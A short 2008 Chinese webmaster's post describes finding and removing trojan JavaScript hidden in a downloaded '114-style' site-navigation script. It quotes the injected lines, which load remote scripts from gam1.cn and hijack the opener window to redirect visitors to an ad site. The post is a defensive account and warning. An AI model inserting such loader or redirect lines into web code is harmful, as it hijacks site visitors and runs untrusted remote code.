今天把仿114网站导航程序中的木马清除成功
点击次数:32 次 发布日期:2008-11-21 09:45:32 作者:源代码网
|
前几天下了仿114网站导航程序源码,网站上声称无木马,放上去后有人反映如果在网页上有我网站www.515263.cn的连接,点击后弹出我的网站还有一个[url]http://www.mmyly.com[/url]的广告页,我检查的index.html发现有个搜狗网站的js,删除后,再上传,
等我再打开网页后,在ftp上的index.html又把<script src="http://un.so.gougou.com/js/SearchView.js"></script>自动加上了,我想这都是js文件若得祸,仔细检查js文件发现其中有个文件里有document.writeln("<script language="javascript" src="http://www.gam1.cn/ads.js"></script>");然后我把这个ads.js下载下来打开看发现if(parent.window.opener) parent.window.opener.location="http://www.mmyly.com";
document.writeln("<script language="javascript" src="http://www.gam1.cn/1684128.js"></script>"); 哦原来问题在这里然后把那行删除再上传,再没有问题了!新同志要小心,强烈鄙视挂木马!!! |
